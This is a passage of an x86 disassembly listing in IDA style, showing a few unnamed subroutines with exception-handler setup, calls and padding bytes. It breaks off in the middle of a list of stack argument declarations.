pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 54CCh retn 4 sub_13B6800 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6ED0 proc near ; CODE XREF: sub_13AB491j push esi mov esi, ecx lea ecx, [esi+8] call sub_13AB824 mov eax, esi pop esi retn sub_13B6ED0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6EF0 proc near ; CODE XREF: sub_13ABEFFj add ecx, 8 jmp sub_13AB626 sub_13B6EF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6F10 proc near ; CODE XREF: sub_13AC445j var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 438CE8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_13ABDB5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_13ABBE4 add esi, 4 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+34h+var_30] mov [esp+34h+var_10], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_18] pop esi mov large fs:0, ecx add esp, 24h retn sub_13B6F10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6FB0 proc near ; CODE XREF: sub_13ABFA4j var_50 = byte ptr -50h var_45 = byte ptr -45h var_44 = byte ptr -44h var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_1F = byte ptr -1Fh var_10 = byte ptr -10h var_A = byte ptr -0Ah arg_8 = dword ptr 0Ch arg_C = byte ptr 10h arg_D = byte ptr 11h arg_E = byte ptr 12h arg_F = dword ptr 13h arg_18 = byte ptr 1Ch arg_1B = dword ptr 1Fh arg_1F = dword ptr 23h arg_23 = dword ptr 27h arg_27 = dword ptr 2Bh arg_2B = dword ptr 2Fh arg_2724